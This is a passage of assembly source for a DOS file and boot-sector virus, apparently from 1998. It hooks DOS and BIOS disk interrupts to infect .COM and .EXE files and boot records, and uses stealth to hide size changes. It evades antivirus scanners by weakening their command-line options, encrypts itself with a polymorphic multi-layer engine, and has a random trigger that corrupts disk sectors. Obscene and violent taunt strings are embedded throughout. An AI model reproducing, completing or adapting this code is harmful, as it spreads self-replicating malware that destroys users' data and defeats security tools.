XOR BX, BX
Display_Char: CLD
LODSB ; Get next character.
OR AL, AL ; End of ASCIIZ ?
JZ Exit_Display
INT 10h ; Display character.
JMP Display_Char
Exit_Display:
RETN
; Calls the INT 13h address before we hooked it.
Int13h:
PUSHF
CALL DWORD PTR CS:i13h
RETN
; Calls the INT 21h address before we hooked it.
Int21h:
PUSHF
CALL DWORD PTR CS:i21h
RETN
Traced_Int13h:
PUSHF
CALL DWORD PTR CS:Traced_i13h
RETN
Go_BOF:
MOV AX, 4200h
JMP Set_Pos
Go_EOF:
MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD
Traced_Int21h: PUSHF
CALL DWORD PTR CS:Traced_i21h
RETN
Save_File_Pos:
MOV AX, 4201h ; Get current fileposition.
XOR CX, CX
CWD
CALL Traced_Int21h
MOV CS:Old_Pos_Low, AX ; Save it.
MOV CS:Old_Pos_High, DX
RETN
Restore_File_Pos:
MOV AX, 4200h ; Set fileposition.
MOV CX, 0000h
Old_Pos_High = WORD PTR $-2
MOV DX, 0000h
Old_Pos_Low = WORD PTR $-2
JMP Traced_Int21h
JMP_St_FCB: JMP Stealth_Size_FCB
; As quoted from Morbid Angel...
DB 'DEAD, YOUR GOD IS DEAD! SATAN WILL RISE!'
;============================================================================
; INT 21h HANDLER
;============================================================================
NewInt21h:
CMP AH, 11h ; Findfirst (FCB).
JE JMP_St_FCB
CMP AH, 12h ; Findnext (FCB).
JE JMP_St_FCB
CMP AH, 4Eh ; Findfirst (handle).
JE Dir_Fetch_Path
CMP AH, 4Fh ; Findnext (handle).
JE Dir_Infect
CMP AH, 3Fh ; Read file (handle).
JE Stealth_Read
CMP AH, 40h ; Write file (handle).
JE Clean_By_Handle
CMP AX, 4202h ; Seek EOF (handle).
JE Stealth_Seek
CMP AX, 5700h ; Get filedate & time.
JE Stealth_Filedate
CMP AH, 3Dh ; Open file (handle).
JE Check_Inf_File
CMP AX, 6C00h ; Extended open.
JE Check_Inf_File
CMP AH, 41h ; Delete file.
JE Check_Inf_File
CMP AH, 43h ; Get/set file-attributes.
JE Check_Inf_File
CMP AX, 4B00h ; Execute file.
JE Init_Exec
CMP AX, 4B01h ; Load file (debuggers).
JE Clean_By_File
CMP AX, Res_Check_i21h ; Residency-check.
JE Ret_Mark_i21h
JMP_Int21h: JMP DWORD PTR CS:i21h ; JMP to old INT 21h address.
Dir_Fetch_Path:
CALL Push_All
PUSH CS
POP ES
MOV SI, DX
MOV DI, OFFSET Dir_Path
CLD
Get_Char_Path: LODSB
STOSB
OR AL, AL ; End of ASCIIZ-path reached?
JNZ Get_Char_Path
DEC DI
MOV AL, '\' ; Find start filespec/name.
STD
REPNE SCASB
INC DI ; Offset after '\'.
INC DI
MOV CS:End_Dir_Path, DI ; Save offset filename.
CALL Pop_All
Dir_Infect: CALL Int21h ; Execute function.
CALL Push_All
JC Exit_Dir_Infect
CALL Check_Stealth
JE Exit_Dir_Infect
MOV AH, 2Fh ; Get DTA-address.
CALL Traced_Int21h
CMP BYTE PTR ES:[BX.Handle_Date+1], Infected_Date
JB Do_Dir_Infect
SUB BYTE PTR ES:[BX.Handle_Date+1], Century
SUB WORD PTR ES:[BX.Handle_Size], Netto_Size
SBB WORD PTR ES:[BX.Handle_Size+2], 0
Do_Dir_Infect: IN AX, 40h ; Get random # in AL.
XOR AL, AH
CMP AL, 30 ; Should we infect on dir?
JA Exit_Dir_Infect
PUSH ES
POP DS
LEA SI, [BX+1Eh] ; DS:SI = filename in DTA.
MOV DI, 0000h
End_Dir_Path = WORD PTR $-2
PUSH CS
POP ES
CLD
Format_String: LODSB ; Load character.
OR AL, AL ; End of ASCIIZ-filename?
JZ End_Found_ff
CMP AL, ' ' ; Skip spaces.
JE Skip_Char
STOSB ; Store character buffer.
Skip_Char: JMP Format_String
End_Found_ff: STOSB ; Store zero.
PUSH CS
POP DS
MOV AX, 4300h ; Get attributes via our
MOV DX, OFFSET Dir_Path ; hooked INT, so our virus
INT 21h ; will infect the file.
Exit_Dir_Infect:
CALL Pop_All
RETF 2 ; Return to caller.
Stealth_Size_FCB:
CALL Int21h ; Do find.
CALL Push_All
OR AL, AL ; Error?
JNZ Exit_Stealth_F
CALL Check_Stealth
JE Exit_Stealth_F
MOV AH, 2Fh ; Get DTA-address.
CALL Traced_Int21h
CMP BYTE PTR ES:[BX], 0FFh ; Is it an extended FCB ?
JNE No_Ext_FCB
ADD BX, 7 ; Skip extended FCB-block.
No_Ext_FCB: CMP BYTE PTR ES:[BX.FCB_Date+1], Infected_Date
JB Exit_Stealth_F
SUB BYTE PTR ES:[BX.FCB_Date+1], Century
SUB WORD PTR ES:[BX.FCB_Size], Netto_Size
SBB WORD PTR ES:[BX.FCB_Size+2], 0
Exit_Stealth_F: JMP Exit_Dir_Infect
DB 'Legalize arms!'
Init_Exec:
CALL Add_Params
Check_Inf_File: CALL Push_All
CALL Hook_Int24h
CMP AX, 6C00h ; Extended open?
JNE No_Ext_Open
MOV DX, SI ; Then correct parameter.
No_Ext_Open: CALL Check_Filename
JC JMP_Exit_Inf
PUSH DX
MOV AH, 19h ; Get current drive.
CALL Traced_Int21h
XCHG DX, AX
INC DX ; AH=36h starts with A=1 etc.
MOV AH, 36h ; Get free diskspace.
CALL Traced_Int21h
MUL BX ; Get amount of free sectors.
OR DX, DX ; File > 64k ?
POP DX
JNZ Conditions_OK
CMP AX, 64 ; At least 64 sectors free?
JNB Conditions_OK
JMP_Exit_Inf: JMP Exit_Infect
Conditions_OK: MOV AX, 3D02h ; Open candidate file.
CALL Traced_Int21h
JC JMP_Exit_Inf
XCHG BX, AX ; BX = filehandle.
CALL Check_Handle
JNZ Abort_Check
PUSH CS
POP DS
PUSH CS
POP ES
CALL Read_Header
CMP [SI.Checksum], Marker_File
JE Abort_Check
XOR BP, BP
CMP [SI.EXE_Mark], 'ZM' ; Host is a .EXE-file?
JNE No_Init_EXE
INC BP ; Host is .EXE-type.
; Don't infect any Windoze files.
CMP [SI.Offs_RelocTable], 40h
JNB Abort_Check
No_Init_EXE: CALL Go_EOF
OR DX, DX ; File bigger then 64k ?
JNZ Infect_File
CMP AX, 60 ; File too small?
JB Abort_Check
CMP AX, (65535 - (Netto_Size + 1024))
JA Abort_Check
CALL Check_File_Date
JB Infect_File
Abort_Check: JMP Inf_Close_File
Infect_File: PUSH CX ; Save filedate & time.
PUSH DX
PUSH SI
MOV DI, OFFSET Host_Bytes ; Save host' original header.
MOV CX, (24 / 2)
CLD
REP MOVSW
POP SI
CALL Go_EOF
DEC BP ; Host is a .EXE-file?
JZ Infect_EXE
Infect_COM: ADD AX, (OFFSET Virus_End - 3)
MOV [SI.Jump], 0E9h ; JMP opcode.
MOV [SI.Displacement], AX
SUB AX, (OFFSET Virus_End - 3) - 100h
XCHG BP, AX
JMP Set_Header
Infect_EXE: MOV CX, 16 ; Calculate virus' new CS:IP.
DIV CX
SUB AX, [SI.Headersize_Para]
MOV BP, DX
ADD DX, OFFSET Virus_End
MOV [SI.Program_CS], AX
MOV [SI.Program_IP], DX
INC AX ; SS > CS.
MOV [SI.Program_SS], AX
MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16
ADD [SI.Min_Mem_Para], Virus_Size_Mem + 2
CALL Go_EOF
ADD AX, Netto_Size
ADC DX, CX
MOV CX, 512 ; Calculate 512-byte pages.
DIV CX
OR DX, DX ; Precise division?
JZ No_Round
INC AX ; Else round upwards.
No_Round: MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX
Set_Header: MOV [SI.Checksum], Marker_File
CALL Adjust_Poly_Decryptor
MOV AH, 40h ; Append polymorphic
MOV CX, Netto_Size ; encrypted virus.
MOV DX, OFFSET Buffer
CALL Traced_Int21h
CALL Go_BOF
MOV AH, 40h ; Write updated header.
MOV CX, 24
MOV DX, SI
CALL Traced_Int21h
MOV AX, 5701h ; Restore filedate & time.
POP DX
POP CX
ADD DH, Century ; Set infected date.
CALL Traced_Int21h
Inf_Close_File: MOV AH, 3Eh ; Close file.
CALL Traced_Int21h
Exit_Infect: CALL Unhook_Int24h
CALL Pop_All
JMP JMP_Int21h
DB 'Germany-1998'
Check_Trigger:
CALL Push_All
PUSH AX
IN AX, 40h
XCHG BX, AX
IN AX, 40h
XOR AX, BX
RCL AX, 1
CMP AX, 30
POP AX
JA Exit_Trigger
PUSH CS
POP ES
MOV AH, 03h
XOR BX, BX
IF Pussy_Mode EQ No_way_lets_kick_ass
CALL Traced_Int13h
ENDIF
Exit_Trigger: CALL Pop_All
RETN
DB 'Filled of hate, determined to kill'
Ret_Mark_i13h:
CMP DS:[SI.Sign_Legal_Call], Marker_Call_OK
JE Caller_i13h_OK
JMP Activate
Caller_i13h_OK: MOV AX, Marker_i13h
IRET
Stealth_Home:
CMP DL, 80h ; Only on harddisks.
JB JMP_i13h
CALL Push_All
CMP AH, 03h ; Write(s) ?
JNE Read_ZeroTrack
MOV AH, 0Dh ; Reset harddisk.
CALL Traced_Int13h
OR AH, 00000011b ; Fake write protected.
STC
JMP Save_Values
Read_ZeroTrack: MOV SI, AX ; Save # sectors read/write.
CALL Int13h ; Do the read.
Save_Values: MOV BP, SP
PUSHF
POP [BP.Reg_Flags]
MOV [BP.Reg_AX], AX
JC Exit_Stealth_Home
XCHG AX, SI
CBW
MOV CL, 8 ; MUL 256.
SHL AX, CL
XCHG CX, AX
XOR AX, AX
MOV DI, BX
CLD ; Fill sectorbuffer.
REP STOSW
Exit_Stealth_Home:
CALL Pop_All
RETF 2
;============================================================================
; INT 13h HANDLER
;============================================================================
NewInt13h:
CMP AX, Res_Check_i13h ; INT 13h residency-check?
JE Ret_Mark_i13h
CMP AH, 02h ; Read sector(s) ?
JB JMP_i13h
CMP AH, 03h ; Write sector(s) ?
JA JMP_i13h
JMP No_i21h_Check
JMP_Databyte = BYTE PTR $-1
CALL Check_Int21h
No_i21h_Check: CALL Check_Trigger ; Corrupt sector(s) ?
OR DH, DH ; Head zero?
JNZ JMP_i13h
OR CH, CH ; Track zero?
JNZ JMP_i13h
CMP CL, 01h ; Bootsector/MBS ?
JNE Stealth_Home
MOV CS:Int13h_AH, AH ; Save function.
CALL Int13h ; Execute function.
JC Do_RETF2
CALL Check_Inf_Boot
Do_RETF2: RETF 2 ; Return to our caller.
JMP_i13h: JMP DWORD PTR CS:i13h
DB '1H8U'
Check_Inf_Boot:
CALL Push_All
PUSH ES
POP DS
CMP DS:[BX.Sign_Boot], Mark_Boot ; Already infected?
JNE
Init_Infect_Boot
MOV AX, 0201h ; Read original encrypted
MOV CX, DS:[BX.Stored_TS] ; boot.
MOV DX, DS:[BX.Stored_HD]
PUSH DS:[BX.Key_Stored_Boot]
CALL Traced_Int13h
POP AX ; Decrypt boot.
MOV CX, (512 / 2)
CALL Word_Crypt
JMP Exit_Inf_Boot
Init_Infect_Boot:
CMP DL, 80h ; Fixed disk?
JB Calc_Storage
MOV CL, 09h
JMP Infect_Boot
; Calculate track where we store ourself.
Calc_Storage:
PUSH DX
MOV AX, DS:[BX.bs_Num_Sectors]
XOR DX, DX
MOV CX, DS:[BX.bs_Sector_Track]
DIV CX
MOV CX, DS:[BX.bs_Number_Heads]
PUSH CX
DIV CX
DEC AX ; CH = new track.
MOV CH, AL
MOV CL, 02h ; Starting sector 2.
POP AX
DEC AX
POP DX
MOV DH, AL
Infect_Boot: MOV CS:Stored_TS, CX
MOV CS:Stored_HD, DX
PUSH CX
PUSH CS
POP ES
MOV SI, BX ; Copy read bootsector to
MOV DI, OFFSET Buffer ; our buffer.
MOV CX, (512 / 2)
CLD
REP MOVSW
PUSH CS
POP DS
CMP Int13h_AH, 03h ; No check on writes.
JE Error_Read_ID
IF Pussy_Mode EQ Yes_dont_hurt_me
JMP Error_Read_ID
ENDIF
MOV AX, 0201h ; Read ID-sector.
MOV BX, OFFSET Buffer + 512
POP CX
PUSH CX
DEC CX
CALL Traced_Int13h
JC Error_Read_ID
MOV AX, [BX+2] ; AX = encrypted signature.
XOR AX, [BX] ; Decrypt signature.
CMP AX, Mark_ID_Sector ; This our marker?
JNE Write_Read_ID
JMP Activate
Write_Read_ID: IN AX, 40h ; Get encryption-key.
MOV [BX], AX ; Store it.
XOR AX, Mark_ID_Sector ; Encrypt mark.
MOV [BX+2], AX ; Store encrypted mark.
MOV AX, 0301h ; Write ID-sector.
CALL Traced_Int13h
Error_Read_ID:
Get_New_Rand1: IN AX, 40h ; Get random encryption-key.
OR AX, AX ; Avoid zero-encryption.
JZ Get_New_Rand1
MOV Key_Stored_Boot, AX
CALL Crypt_Boot ; Encrypt boot in buffer.
MOV SI, 512 ; Copy body to buffer for
MOV DI, OFFSET Buffer + 512 ; encryption.
MOV CX, (Body_Sectors * 512) / 2
CLD
REP MOVSW
Get_New_Rand2: IN AX, 40h ; Get semi-random key.
OR AX, AX ; Avoid zero-encryption.
JZ Get_New_Rand2
MOV Key_Virus_Body, AX
MOV BX, OFFSET Buffer + 512 ; Encrypt virusbody.
MOV CX, (Body_Sectors * 512) / 2
CALL Word_Crypt
POP CX
MOV AX, 0301h+Body_Sectors ; Store original boot plus
MOV BX, OFFSET Buffer ; virusbody.
PUSH BX
CALL Traced_Int13h
CALL Crypt_Boot ; Decrypt boot.
Get_New_Rand3: IN AL, 40h ; Get random.
OR AL, AL
JZ Get_New_Rand3
MOV Key_Virus_Boot, AL
MOV SI, 62 ; Copy virus into boot.
MOV DI, OFFSET Buffer + 62
MOV CX, (512 - 64) / 2
CLD
REP MOVSW
ADD BX, OFFSET Encrypted_Boot
MOV CX, Encr_Loadersize
Encrypt_Byte: XOR [BX], AL
INC BX
LOOP Encrypt_Byte
POP BX ; BX=OFFSET Buffer.
MOV [BX], 3CEBh ; JMP SHORT virus.
MOV AX, 0301h ; Write new infected boot.
INC CX ; CX=0001h.
XOR DH, DH
CALL Traced_Int13h
Exit_Inf_Boot: CALL Pop_All
RETN
Check_Stealth:
CALL Push_All
PUSH CS
POP DS
MOV BP, SP
MOV SI, [BP.Reg_Ret_Addr] ; SI = return-address.
CMP BYTE PTR [SI], 0CCh ; Being debugged?
JNE No_Breakpoint
MOV [BP.Reg_Ret_Addr], OFFSET Activate
No_Breakpoint: MOV AH, 62h ; Get PSP of current process.
CALL Traced_Int21h
DEC BX ; Get MCB.
MOV ES, BX ; ES:DI = Programname.
MOV DI, 08h
MOV SI, OFFSET Tabel_Inactive
Compare: CLD
LODSB
CBW
OR AX, AX ; End of table?
JZ End_Reached
PUSH DI
MOV BP, AX
PUSH SI
XCHG CX, AX
REPE CMPSB
POP SI
ADD SI, BP
POP DI
OR CX, CX
JNZ Compare
End_Reached: OR CX, CX
MOV BP, SP
PUSHF
POP [BP.Reg_Flags]
CALL Pop_All
RETN
Tabel_Inactive DB 6, 'CHKDSK'
DB 5, 'PKZIP'
DB 3, 'ARJ'
DB 3, 'LHA'
DB 3, 'RAR'
DB 6, 'BACKUP'
DB 5, 'MODEM'
DB 5, 'TELIX'
DB 0
Crypt_Boot:
MOV AX, Key_Stored_Boot
MOV BX, OFFSET Buffer
MOV CX, (512 / 2)
CALL Word_Crypt
RETN
; Dedicated to the two founders of Apple, Steve Wozniak & Steve Jobs,
; these ppl actually WORKED for their products, instead of those Microfuck
; lamers which only became so "successful" coz they had the big bucks.
DB 'Respect2AppleSteves'
Hook_Int21h:
CALL Push_All
PUSH CS
POP DS
MOV JMP_Databyte, (No_i21h_Check - JMP_Databyte) - 1
XOR DI, DI
CLD
IN AX, 40h ; Overwrite JMP boot with
STOSW ; garbage (no signatures).
IN AL, 40h
STOSB
MOV Random, AX ; Initialize random seed.
CALL Setup_Poly_Decryptor
MOV AX, 21h * 4 ; Tunnel INT 21h.
CALL Trace_Interrupt
MOV AX, 2521h ; Hook INT 21h.
MOV DX, OFFSET NewInt21h
CALL Traced_Int21h
CALL Pop_All
RETN
Hook_Int24h:
CALL Push_All
PUSH CS
POP DS
MOV AX, 3524h
CALL Traced_Int21h
MOV i24h, BX
MOV i24h+2, ES
MOV AH, 25h
MOV DX, OFFSET NewInt24h
CALL Traced_Int21h
CALL Pop_All
RETN
Unhook_Int24h:
CALL Push_All
MOV AX, 2524h
LDS DX, DWORD PTR CS:i24h
CALL Traced_Int21h
CALL Pop_All
RETN
;-----------------------------------------------------------------------
; Compares if specific programs are going to be executed, and if so, it
; adds specific parameters. Note that this routine is table-driven.
;-----------------------------------------------------------------------
Add_Params:
CALL Push_All
PUSH ES
PUSH DS
POP ES
PUSH CS
POP DS
XOR AL, AL ; Find end ASCIIZ-string.
MOV CX, 0FFFFh
PUSH CX
MOV DI, DX
CLD
REPNZ SCASB
DEC DI
MOV AL, '\' ; Find start filename.
POP CX ; CX=0FFFFh.
STD
REPNE SCASB
INC DI
INC DI
MOV SI, OFFSET Tbl_Add_Params
CLD
Compare_Name: LODSB ; AX = length filename.
CBW
OR AX, AX ; End of table?
JZ End_Of_Table
XCHG DX, AX ; DX = length filename.
MOV BP, DX
LODSB ; AX = length parameters.
CBW
PUSH DI
PUSH SI
PUSH AX
Scan_Byte: LODSB
MOV AH, ES:[DI]
CMP AH, 'a' ; Convert this shit to
JB No_Change_Case ; uppercase.
CMP AH, 'z'
JA No_Change_Case
SUB AH, 'a' - 'A'
No_Change_Case: CMP AL, AH
JNE Stop_Compare
INC DI
DEC BP
JNZ Scan_Byte
Stop_Compare: POP AX
POP SI
ADD SI, DX ; Plus length filename.
ADD SI, AX ; Plus length params.
POP DI
OR BP, BP
JNZ Compare_Name
End_Of_Table: POP ES
OR AX, AX
JZ Exit
OR BP, BP
JNZ Exit
MOV CX, AX
SUB SI, AX
LES DI, ES:[BX+2] ; ES:DI = end of params.
XOR BX, BX ; BX = length params.
MOV BL, ES:[DI]
INC AX ; Inclusive space.
ADD ES:[DI], AL
INC DI ; Skip counter.
ADD DI, BX
MOV AL, 20h ; Store a space.
CLD
STOSB
CLD ; Store the parameter(s).
REP MOVSB
MOV AL, 0Dh ; Store <CR>.
CLD
STOSB
Exit: CALL Pop_All
RETN
Tbl_Add_Params: DB 10, 11, 'F-PROT.EXE', '/nomem /old'
DB 10, 09, 'TBSCAN.EXE', 'nm co old'
DB 08, 16, 'SCAN.EXE', '/nomem /noexpire'
DB 07, 04, 'WIN.COM', '/d:f'
DB 10, 07, 'PRINCE.EXE', 'megahit' ; hehe...
DB 0
NewInt24h:
MOV AL, 03h
IRET
Sign_Legal_Call DW Marker_Call_OK
DB 'I fucked your girlfriend last night. While you '
DB 'snored and drooled I fucked your love. She called '
DB 'me daddy, and I called her baby when I smacked her '
DB 'ass. I called her sugar when I ate her alive till '
DB 'daylight. And I slept with her all over me, from '
DB 'forehead to ribcage I dripped her ass...', 0
DB '! PANTERA RULES !'
;-------------------------------------------------------
; Returns CF set if the filename in DS:DX is illegal,
; like a non .COM or .EXE-file, or a antivirus-program.
;-------------------------------------------------------
Check_Filename:
CALL Push_All
PUSH DS
POP ES
XOR AL, AL ; Find end of ASCIIZ-string.
MOV CX, 0FFFFh
MOV DI, DX
CLD
REPNZ SCASB
Check_Word: MOV AX, [DI-4]
AND AX, 1101111111011111b ; To uppercase.
CMP AX, 'OC' ; .CO? ?
JE Check_Byte
CMP AX, 'XE' ; .EX? ?
JNE Carry_Exit
Check_Byte: MOV AL, [DI-2]
AND AL, 11011111b
CMP AL, 'M' ; ??M ?
JE Extension_OK
CMP AL, 'E' ; ??E ?
JNE Carry_Exit
Extension_OK: DEC DI
MOV AL, '\' ; Find start filename.
MOV CX, 0FFFFh
STD
REPNE SCASB
MOV BP, OFFSET No_Inf_Table
CLD
Next_Entry_AV: MOV SI, DI
MOV DX, CS:[BP]
XOR DX, 8Ah ; Decrypt word.
JZ No_Carry_Exit ; End of table?
INC BP ; Next entry.
INC BP
Scan_Filename: LODSW ; Get word filename.
CMP AL, '.' ; End reached?
JE Next_Entry_AV
CMP AX, DX ; Found an illegal word?
JE Carry_Exit
DEC SI ; Byte-scan.
JMP Scan_Filename
No_Carry_Exit: CLC
JMP Set_Flags
Carry_Exit: STC
Set_Flags: MOV BP, SP
PUSHF ; Set flags in stack.
POP [BP.Reg_Flags]
CALL Pop_All
RETN
;-------------------------------------------------------------
; Table of encrypted words, if one of these words is found in
; a candidate filename (any position), infection is rejected.
;-------------------------------------------------------------
No_Inf_Table DW 'BT' XOR 8Ah ; ThunderByte utilities.
DW '-F' XOR 8Ah ; F-Prot.
DW 'CS' XOR 8Ah ; SCAN
DW 'IV' XOR 8Ah ; VIRSCAN, VIRUSCAN
DW 'VA' XOR 8Ah ; NAV, AVP, MSAV, CPAV
DW 'VI' XOR 8Ah ; Invircible.
DW 'RD' XOR 8Ah ; DrWeb
DW 000h XOR 8Ah ; End of table.
Get_Random2:
MOV AX, 2
JMP Get_Random
Get_Random3:
MOV AX, 3
JMP Get_Random
Get_Random4:
MOV AX, 4
JMP Get_Random
Get_Random7: MOV AX, 7
;---------------------------------------------------------------
; Generates random within range of AX starting with zero. This
; is a optimized/modified version of the one included in N.E.D.
;---------------------------------------------------------------
Get_Random:
PUSH CX
PUSH DX
PUSH AX
RCL CS:Random, 1 ; Adjust seed for randomness.
ADD CS:Random, 666h ; Adjust it again.
XOR AH, AH ; BIOS get timer function.
INT 1Ah
XOR CS:Random, DX ; XOR seed by BIOS timer
CWD ; Clear DX for division...
MOV AX, 0000h ; Return number in AX.
Random = WORD PTR $-2 ; Seed for generator.
POP CX ; CX holds max value
DIV CX ; DX = AX % max_val
XCHG AX, DX ; AX holds final value
POP DX
POP CX
OR AX, AX ; AX is zero?
CLD ; Could be changed by INT.
RETN ; Return to caller
; School, State, Parents, Cops, etc, etc.
DB 'Self proclaimed gods'
;============================================================================
; POLYMORPHIC ENGINE
;============================================================================
Max_CALL_Entry EQU 10 ; Number of entries in subroutine table.
Max_Decryptor EQU 128 ; Maximal size of poly-decryptor in bytes.
Min_Layers EQU 4
Max_Layers EQU 10
Min_CALL EQU 3
Min_Decryptor EQU 96 ; Minimal size of poly-decryptor in bytes.
; Encryption algoritms: 0 = ADD
; 1 = SUB
; 2 = XOR
; 3 = INC
; 4 = DEC
; 5 = NOT
; 6 = NEG
; 7 = ROL
; 8 = ROR
DB '[SFW]' ; So Fucking What?!
Adjust_Poly_Decryptor:
CALL Push_All
XOR SI, SI ; Copy virus to buffer for
MOV DI, OFFSET Buffer ; encryptions.
MOV CX, Virus_Size
CLD
REP MOVSB
MOV AL, Key_Fix_Layer
MOV CX, (OFFSET Decrypt_2 - (3 + 24))
MOV DI, OFFSET Buffer + (3 + 24)
Encr_Internal: XOR [DI], AL ; Encrypt internal fixed
INC DI ; layer.
LOOP Encr_Internal
; ENCRYPT POLY LAYERS.
MOV CX, 0000h
Max_Algo = WORD PTR $-2
Encrypt_Layer: PUSH CX
MOV AX, CX
DEC AX
MOV BX, OFFSET Encrypt_Algo
XLAT
MOV SI, OFFSET Tbl_Encryptors
ADD SI, AX
ADD SI, AX
XCHG DX, AX
LODSW
MOV Encryptor, AX
MOV BX, OFFSET Decrypt_Key
MOV AX, CX
DEC AX
XLAT
CMP DL, 3 ; Algorithm requires a key?
JB Store_Encr_Key
MOV AL, 90h ; NOP
Store_Encr_Key: MOV Key_Poly_Layer, AL
JMP $+2 ; Clear prefetcher, else this
; shit doesn't work on 486's.
MOV CX, (Virus_Size - (3 + 24))
MOV DI, OFFSET Buffer + (3 + 24)
Encr_Poly: XOR BYTE PTR [DI], 00h ; Encrypt code.
Key_Poly_Layer = BYTE PTR $-1
Encryptor = WORD PTR $-3
INC DI
LOOP Encr_Poly
POP CX
LOOP Encrypt_Layer
MOV SI, OFFSET Decrypt_Delta
MOV CX, Max_Algo
Patch_Delta: LODSW
XCHG DI, AX
MOV AX, BP ; Start encrypted.
SUB AX, 0000h
Base_Ptr_Val = WORD PTR $-2
TEST Poly_Status, 00000001b ; Get direction.
JNZ Back_Decrypt
Fore_Decrypt: ADD AX, (3 + 24)
JMP Store_Decrypt
Back_Decrypt: ADD AX, Virus_Size - 1
Store_Decrypt: STOSW
LOOP Patch_Delta
MOV DI, 0000h
CMP_Val = WORD PTR $-2
MOV AX, Base_Ptr_Val
TEST Poly_Status, 00000001b ; Get direction.
JNZ Back_CMP
ADD AX, Virus_Size - (3 + 24)
JMP aa2
Back_CMP: SUB AX, (Virus_Size - (3 + 24)) - 1
aa2: STOSW
; Add polymorphic decryptor.
MOV CX, (Max_Decryptor / 2)
MOV SI, OFFSET Poly_Decryptor
MOV DI, OFFSET Buffer + Virus_Size
CLD
REP MOVSW
CALL Pop_All
RETN
; Initializes variables for poly engine and generates a polymorphic decryptor
; in memory.
Setup_Poly_Decryptor:
CALL Push_All
MOV Old_SS, SS
MOV Old_SP, SP
PUSH CS
POP SS
MOV SP, (Virus_Size_Mem * 16)
AND Max_Algo, 0
MOV AX, (Max_Layers - Min_Layers)
CALL Get_Random
ADD AX, Min_Layers ; Minimal # encrypted layers.
XCHG CX, AX
MOV DI, OFFSET Encrypt_Algo
Pick_Algo: MOV AX, 9 ; ADD/SUB/XOR/INC/DEC/
CALL Get_Random ; NOT/NEG/ROL/ROR ?
STOSB
MOV BX, Max_Algo
IN AL, 40h
MOV Decrypt_Key[BX], AL
INC Max_Algo
LOOP Pick_Algo
; Choose pointer-register.
CALL Get_Random4 ; BX/SI/DI/BP ?
MOV Ptr_Reg, AL
IN AL, 40h ; Get random key for internal
MOV Key_Fix_Layer, AL ; fixed decryptor.
CALL Get_Random2 ; Pick decryption direction.
MOV Poly_Status, AX
Poly_Generator: XOR AX, AX ; Clear CALL-IP buffer.
MOV CX, Max_CALL_Entry
MOV DI, OFFSET Tbl_CALL_Dest
CLD
REP STOSW
AND CALLs_Made, 0
MOV DI, OFFSET Poly_Decryptor
MOV BP, 0000h
Poly_Status = WORD PTR $-2
CALL Add_Garbage
;-------------- SETUP BASE POINTER ------------------------------------------
MOV AL, 00h
Ptr_Reg = BYTE PTR $-1
MOV BX, OFFSET MOV_Reg16
XLAT ; MOV Ptr_Reg,
STOSB
IN AX, 40h ; Random value.
MOV Base_Ptr_Val, AX ; Save base value.
STOSW
CALL Add_Garbage
;-------------- DECRYPT BYTE ------------------------------------------------
MOV Decr_Loop, DI
MOV CX, Max_Algo
XOR DX, DX
MOV SI, OFFSET Encrypt_Algo
Make_Decryptor: PUSH CX
MOV AL, 2Eh ; CS:
STOSB
LODSB
XOR AH, AH
PUSH AX
PUSH SI
XCHG SI, AX
ADD SI, OFFSET Tbl_Decr_Opcode
LODSB
STOSB
POP SI
POP AX
PUSH AX
MOV BX, OFFSET Tbl_Crypt_Index
XLAT
CBW
SHL AX, 2 ; MUL 4
MOV BX, OFFSET Ptr_Addr
ADD BX, AX
MOV AL, Ptr_Reg
XLAT
STOSB
MOV BX, OFFSET Decrypt_Delta
ADD BX, DX
MOV [BX], DI
STOSW ; Dummy displacement.
POP AX
CMP AL, 2
JA No_Key_Needed_Decr
MOV AL, [SI+Max_Layers-1] ; Store decryption-key.
STOSB ; (OFFSET Decrypt_Key+index).
No_Key_Needed_Decr:
PUSH DX
PUSH SI
CALL Add_Garbage
POP SI
POP DX
POP CX
INC DX
INC DX
LOOP Make_Decryptor
;-------------- CHANGE POINTER REGISTER -------------------------------------
INC CX ; CX=0001h.
TEST Poly_Status, 00000001b ; Get direction.
JNZ Backwards_Decrease
MOV AX, 5
CALL Get_Random ; INC/ADD_8/ADD_16/
JZ ADD_Ptr_8 ; +SUB_8/+SUB_16 ?
DEC AX
JZ ADD_Ptr_16
DEC CX ; CX=FFFFh.
DEC CX
DEC AX
JZ pSUB_Ptr_8
DEC AX
JZ pSUB_Ptr_16
CALL Make_INC_Reg16
JMP Make_CMP_Boundary
ADD_Ptr_8: CALL Make_ADD_8_Reg16 ; (CL=01h)
JMP Make_CMP_Boundary
ADD_Ptr_16: CALL Make_ADD_16_Reg16 ; (CX=0001h)
JMP Make_CMP_Boundary
pSUB_Ptr_8: CALL Make_SUB_8_Reg16 ; (CL=FFh).
JMP Make_CMP_Boundary
pSUB_Ptr_16: CALL Make_SUB_16_Reg16 ; (CX=FFFFh).
JMP Make_CMP_Boundary
Backwards_Decrease:
MOV AX, 5
CALL Get_Random ; DEC/SUB_8/SUB_16 ?
JZ SUB_Ptr_8 ; -ADD_8/-ADD_16 ?
DEC AX
JZ SUB_Ptr_16
DEC CX ; CX=FFFFh.
DEC CX
DEC AX
JZ nADD_Ptr_8
DEC AX
JZ nADD_Ptr_16
CALL Make_DEC_Reg16
JMP Make_CMP_Boundary
SUB_Ptr_8: CALL Make_SUB_8_Reg16
JMP Make_CMP_Boundary
SUB_Ptr_16: CALL Make_SUB_16_Reg16
JMP Make_CMP_Boundary
nADD_Ptr_8: CALL Make_ADD_8_Reg16 ; (CL=FFh).
JMP Make_CMP_Boundary
nADD_Ptr_16: CALL Make_ADD_16_Reg16 ; (CX=FFFFh).
;-------------- CHECK BOUNDARY ----------------------------------------------
Make_CMP_Boundary:
CALL Add_Garbage
MOV AL, 81h ; CMP Ptr_Reg,
STOSB
MOV AL, Ptr_Reg
MOV BX, OFFSET CMP_Reg16
XLAT
STOSB
MOV CMP_Val, DI
STOSW
;-------------- JMP ENTRY IF DECRYPTION COMPLETED ---------------------------
MOV AX, DI ; JE jmp_layer_2
SUB AX, OFFSET Poly_Decryptor - 4
NEG AX
MOV AH, AL
MOV AL, 74h
STOSW
CALL Add_Garbage
;-------------- JMP DECRYPTION LOOP -----------------------------------------
MOV AL, 0EBh ; JMP SHORT,
STOSB
MOV AX, DI ; JMP decrypt.
SUB AX, 0000h
Decr_Loop = WORD PTR $-2
NEG AX
DEC AX
STOSB
CALL Add_Garbage
CMP CALLs_Made, Min_CALL ; Encoded enough CALLs ?
JB JMP_Poly_Gen
; Decryptor too small?
